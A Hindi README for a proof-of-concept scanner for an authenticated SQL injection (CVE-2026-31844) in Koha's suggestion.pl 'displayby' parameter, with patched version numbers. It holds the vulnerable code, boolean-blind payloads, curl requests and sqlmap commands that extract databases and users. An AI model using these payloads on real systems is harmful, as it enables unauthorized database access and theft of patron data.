
प्रमाणित SQL इंजेक्शन स्कैनर Koha लाइब्रेरी प्रबंधन प्रणाली (CVE-2026-31844) के लिए, जो भेद्यता की पुष्टि करने और डेटा निकालने के लिए बूलियन-आधारित ब्लाइंड तकनीक का उपयोग करता है।
इस रिपॉजिटरी में CVE-2026-31844 के लिए एक जिम्मेदार भेद्यता PoC शामिल है, जो Koha लाइब्रेरी प्रबंधन प्रणाली में उच्च गंभीरता वाला प्रमाणित SQL इंजेक्शन है।
यह भेद्यता C4/Search.pm में GetDistinctValues फ़ंक्शन में मौजूद है, जिसे /cgi-bin/koha/suggestion/suggestion.pl स्क्रिप्ट द्वारा कॉल किया जाता है। इसे displayby पैरामीटर के माध्यम से शोषित किया जा सकता है।
suggestion.pl स्क्रिप्ट में displayby पैरामीटर का उपयोग तालिका-योग्य कॉलम नाम बनाने के लिए किया जाता है, जिसे फिर GetDistinctValues फ़ंक्शन में पास किया जाता है। हालाँकि, यह फ़ंक्शन सीधे तालिका नाम और कॉलम नाम दोनों को बिना किसी इनपुट सत्यापन या पैरामीटराइज़ेशन के एक कच्चे SQL क्वेरी में एम्बेड करता है।
परिणामस्वरूप, एक हमलावर क्वेरी में दुर्भावनापूर्ण SQL कोड इंजेक्ट करने के लिए displayby पैरामीटर में हेरफेर कर सकता है। चूंकि SQL स्टेटमेंट में शामिल होने से पहले इनपुट को सैनिटाइज़ नहीं किया जाता है, यह व्यवहार एक SQL इंजेक्शन भेद्यता पेश करता है, जो एक हमलावर को डेटाबेस पर मनमाना Boolean-Based Blind तकनीक SQL कमांड निष्पादित करने की अनुमति दे सकता है।
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
स्कैनर भेद्यता को सत्यापित करने के लिए Boolean-Based Blind तकनीक का उपयोग करता है
कॉलम नाम स्थिति में सशर्त कथन इंजेक्ट करके, हम विभेदक HTTP प्रतिक्रियाओं का निरीक्षण कर सकते हैं:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → सबक्वेरी त्रुटि → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → मान्य क्वेरी → HTTP 200यदि लक्ष्य सत्य स्थिति के लिए 500 और असत्य स्थिति के लिए 200 लौटाता है, तो भेद्यता की पुष्टि हो जाती है।
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
आपको suggestions अनुमति वाले Koha स्टाफ खाते के लिए मान्य क्रेडेंशियल प्रदान करने होंगे।
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
स्व-हस्ताक्षरित SSL प्रमाणपत्र वाले लक्ष्यों के लिए:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
आप curl के माध्यम से भेद्यता को मैन्युअल रूप से सत्यापित कर सकते हैं। पहले, Koha स्टाफ इंटरफ़ेस में प्रमाणित करें और अपना CGISESSID कुकी कैप्चर करें।
सत्य स्थिति (HTTP 500 लौटाता है):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
असत्य स्थिति (HTTP 200 लौटाता है):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap मूल रूप से boolean-based blind इंजेक्शन का समर्थन करता है। डेटा निष्कर्षण को स्वचालित करने के लिए, एक मान्य प्रमाणित HTTP अनुरोध को request.txt में सहेजें। csrf_token और CGISESSID कुकीज़ को मान्य रखें।
request.txt उदाहरण:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Boolean तकनीक (--technique=B) के साथ SQLMap चलाएँ:
# बुनियादी डेटाबेस निष्कर्षण
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# वर्तमान उपयोगकर्ता निकालें
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
या इसे सीधे कमांड लाइन से चलाएँ:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
कुछ समय बाद, sqlmap सही पेलोड की पहचान करेगा।
यदि पैच नहीं किया गया है, तो यह भेद्यता एक प्रमाणित हमलावर को अनुमति देती है:
Koha संस्करण 24.11.12, 25.05.07, 25.11.01, या 26.05.00 (या बाद में) में अपडेट करें, जिसमें इस भेद्यता के लिए एक फिक्स शामिल है।
Raximov Shukrulloh (Mothra)
टेलीग्राम बॉट @MothraContact_bot
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है। किसी भी सिस्टम का भेद्यता के लिए परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। इस प्रूफ ऑफ कॉन्सेप्ट का उपयोग केवल उन सिस्टमों पर किया जाना चाहिए जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।